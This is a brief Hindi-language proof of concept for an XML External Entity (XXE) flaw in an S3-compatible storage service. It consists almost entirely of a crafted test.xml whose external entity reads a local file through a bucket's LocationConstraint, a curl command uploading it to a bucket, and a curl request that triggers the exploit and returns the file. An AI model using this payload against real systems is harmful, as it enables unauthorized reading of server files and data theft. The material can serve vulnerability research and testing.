
एक S3 में XML External Entity PoC.
XML एक्सटर्नल एंटिटी (XXE) भेद्यता का शोषण।
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///path/to/file">
]>
<CreateBucketConfiguration>
<LocationConstraint>&xxe;</LocationConstraint>
</CreateBucketConfiguration>
बकेट में अपनी लोकल मशीन से test.xml अपलोड करने के लिए curl का उपयोग करें।
curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml
एक्सप्लॉइट ट्रिगर करें और फ़ाइल प्राप्त करें
curl http://127.0.0.1:PORT/TB1?location